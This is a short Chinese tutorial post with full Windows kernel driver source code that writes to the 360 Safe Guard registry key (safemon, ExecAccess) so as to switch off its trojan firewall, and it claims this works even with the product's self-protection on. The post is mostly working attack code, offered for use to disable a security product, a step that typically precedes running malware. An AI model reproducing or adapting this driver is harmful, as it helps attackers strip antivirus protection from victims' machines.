| 关键词: 注册表 字符串 句柄 对象 ATTRIBUTES 函数 RtlInitUnicodeSt myhandle DriverObject OBJECT |
对注册表的操作的和对文件的操作差不多 ,但是还是有些区别,下面就写一个对注册表操作的例子,这个是修改360安全卫士的注册表选项,使其木马防火墙失效。(在ring3下是不行的,编写驱动才行得通,即使360开自我保护也无所谓) 首先明确一下流程: 1.定义一个操作对象OBJECT_ATTRIBUTES 2.用InitializeObjectAttributes()函数初始化这个对象 3.用ZwOpenKey()函数来打开注册表打开360的选项 4.用ZwSetValueKey()函数来把360木马防火墙的的键值设置成空 5用ZwClose()函数来关闭打开的注册表 代码如下: #include <ntddk.h> VOID Unload(IN PDRIVER_OBJECT DriverObject) {} NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING UnicodeString) { UNICODE_STRING path;//定义注册表路径字符串 UNICODE_STRING name;//定义名称字符串 UNICODE_STRING data;//定义数据字符串 OBJECT_ATTRIBUTES oa;//定义操作对象 HANDLE myhandle=NULL;//定义返回句柄 RtlInitUnicodeString(&path,L”\\Registry\\Machine\\SOFTWARE\\360Safe\\safemon”);//初始化注册表路径字符串 RtlInitUnicodeString(&name,L”ExecAccess”);//初始化名称字符串 RtlInitUnicodeString(&data,0);//初始化数据字符串 InitializeObjectAttributes(&oa,&path,OBJ_CASE_INSENSITIVE,NULL,NULL);//初始化操作对象 ZwOpenKey(//打开注册表 &myhandle,//返回句柄 KEY_WRITE,//权限 &oa//操作对象 ); ZwSetValueKey(//设置注册表键值 myhandle,//当前句柄 &name,//键名 0, REG_SZ,//方式 data.Buffer,//字符串缓冲 data.Length//字符串长度 ); ZwClose(myhandle);//关闭注册表 DriverObject->DriverUnload=Unload; return STATUS_SUCCESS; } 编译后加载驱动就可以关闭360的木马防火墙了~ |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|